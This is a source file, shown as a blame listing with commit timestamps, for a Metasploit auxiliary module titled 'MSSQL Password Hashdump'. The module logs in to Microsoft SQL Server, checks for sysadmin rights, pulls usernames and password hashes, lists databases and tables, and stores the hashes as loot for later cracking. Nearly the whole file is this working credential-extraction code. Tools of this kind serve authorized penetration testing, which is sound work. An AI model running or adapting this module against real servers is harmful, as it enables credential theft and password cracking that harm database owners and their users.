2011-07-30 21:07:22 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::MSSQL
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'MSSQL Password Hashdump',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => %Q{
|
|
|
|
This module extracts the usernames and encrypted password
|
|
|
|
hashes from a MSSQL server and stores them for later cracking.
|
|
|
|
This module also saves information about the server version and
|
|
|
|
table names, which can be used to seed the wordlist.
|
|
|
|
},
|
|
|
|
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
|
|
|
|
if (not mssql_login_datastore)
|
|
|
|
print_error("#{rhost}:#{rport} - Invalid SQL Server credentials")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
#Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)
|
2011-07-30 21:20:57 +00:00
|
|
|
instancename= mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1]
|
|
|
|
print_status("Instance Name: #{instancename.inspect}")
|
2011-08-04 22:55:06 +00:00
|
|
|
version = mssql_query(mssql_sql_info())[:rows][0][0]
|
|
|
|
version_year = version.split('-')[0].slice(/\d\d\d\d/)
|
2011-07-30 21:20:57 +00:00
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
#Grab all the DB schema and save it as notes
|
2011-07-30 21:07:22 +00:00
|
|
|
mssql_db_names = get_db_names()
|
|
|
|
mssql_schema={}
|
|
|
|
unless mssql_db_names.nil?
|
|
|
|
mssql_db_names.each do |dbname|
|
|
|
|
tmp_tblnames = get_tbl_names(dbname[0])
|
|
|
|
unless tmp_tblnames.nil?
|
|
|
|
mssql_schema[dbname]=[]
|
|
|
|
tmp_tblnames.each{|tblname| mssql_schema[dbname] << tblname[0] unless tblname[0].nil?}
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
mssql_hashes = mssql_hashdump(version_year)
|
2011-08-04 22:55:06 +00:00
|
|
|
report_other_data(mssql_schema,{'InstanceName' => instancename, 'Version' => version} ,version_year)
|
2011-07-30 21:07:22 +00:00
|
|
|
unless mssql_hashes.nil?
|
|
|
|
report_hashes(mssql_hashes,version_year)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
def report_other_data(mssql_schema,instancename,version_year)
|
2011-07-30 21:07:22 +00:00
|
|
|
|
|
|
|
unless mssql_schema.nil?
|
|
|
|
report_note(
|
|
|
|
:host => rhost,
|
|
|
|
:type => "mssql.schema",
|
|
|
|
:data => mssql_schema,
|
|
|
|
:port => rport,
|
|
|
|
:proto => 'tcp',
|
|
|
|
:update => :unique_data
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
unless instancename.nil?
|
2011-07-30 21:07:22 +00:00
|
|
|
report_note(
|
|
|
|
:host => rhost,
|
|
|
|
:type => "mssql.instancename",
|
2011-10-10 17:05:01 +00:00
|
|
|
:data => instancename
|
2011-07-30 21:07:22 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
unless version_year.nil?
|
|
|
|
report_note(
|
|
|
|
:host => rhost,
|
|
|
|
:type => "mssql.version_year",
|
|
|
|
:data => version_year,
|
|
|
|
:port => rport,
|
|
|
|
:proto => 'tcp',
|
|
|
|
:update => :unique_data
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
#Stores the grabbed hashes as loot for later cracking
|
|
|
|
#The hash format is slightly different between 2k and 2k5/2k8
|
2011-07-30 21:07:22 +00:00
|
|
|
def report_hashes(mssql_hashes, version_year)
|
|
|
|
|
|
|
|
case version_year
|
|
|
|
when "2000"
|
2011-10-10 17:05:01 +00:00
|
|
|
hashtype = "mssql.hashes"
|
2011-07-30 21:07:22 +00:00
|
|
|
|
|
|
|
when "2005", "2008"
|
2011-10-10 17:05:01 +00:00
|
|
|
hashtype = "mssql05.hashes"
|
2011-07-30 21:07:22 +00:00
|
|
|
end
|
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
this_service = report_service(
|
|
|
|
:host => datastore['RHOST'],
|
|
|
|
:port => datastore['RPORT'],
|
|
|
|
:name => 'mssql',
|
|
|
|
:proto => 'tcp'
|
|
|
|
)
|
|
|
|
|
|
|
|
tbl = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => 'MS SQL Server Hashes',
|
|
|
|
'Ident' => 1,
|
|
|
|
'Columns' => ['Username', 'Hash']
|
|
|
|
)
|
|
|
|
|
|
|
|
hash_loot=""
|
2011-07-30 21:07:22 +00:00
|
|
|
mssql_hashes.each do |row|
|
|
|
|
next if row[0].nil? or row[1].nil?
|
|
|
|
next if row[0].empty? or row[1].empty?
|
2011-10-10 17:05:01 +00:00
|
|
|
tbl << [row[0], row[1]]
|
|
|
|
print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}")
|
2011-07-30 21:07:22 +00:00
|
|
|
end
|
2011-10-10 17:05:01 +00:00
|
|
|
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlhashes.txt"
|
|
|
|
store_loot(hashtype, "text/plain", datastore['RHOST'], tbl.to_csv, filename, "MS SQL Hashes", this_service)
|
2011-07-30 21:07:22 +00:00
|
|
|
end
|
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
#Grabs the user tables depending on what Version of MSSQL
|
|
|
|
#The queries are different between 2k and 2k/2k8
|
2011-07-30 21:07:22 +00:00
|
|
|
def mssql_hashdump(version_year)
|
|
|
|
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
|
|
|
|
|
|
|
|
if is_sysadmin == 0
|
|
|
|
print_error("#{rhost}:#{rport} - The provided credentials do not have privileges to read the password hashes")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
case version_year
|
|
|
|
when "2000"
|
|
|
|
results = mssql_query(mssql_2k_password_hashes())[:rows]
|
|
|
|
|
|
|
|
when "2005", "2008"
|
|
|
|
results = mssql_query(mssql_2k5_password_hashes())[:rows]
|
|
|
|
end
|
2011-08-04 22:55:06 +00:00
|
|
|
|
2011-07-30 21:07:22 +00:00
|
|
|
return results
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
#Gets all of the Databases on this Instance
|
2011-07-30 21:07:22 +00:00
|
|
|
def get_db_names
|
|
|
|
results = mssql_query(mssql_db_names())[:rows]
|
|
|
|
return results
|
|
|
|
end
|
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
#Gets all the table names for the given DB
|
2011-07-30 21:07:22 +00:00
|
|
|
def get_tbl_names(db_name)
|
|
|
|
results = mssql_query("SELECT name FROM #{db_name}..sysobjects WHERE xtype = 'U'")[:rows]
|
|
|
|
return results
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|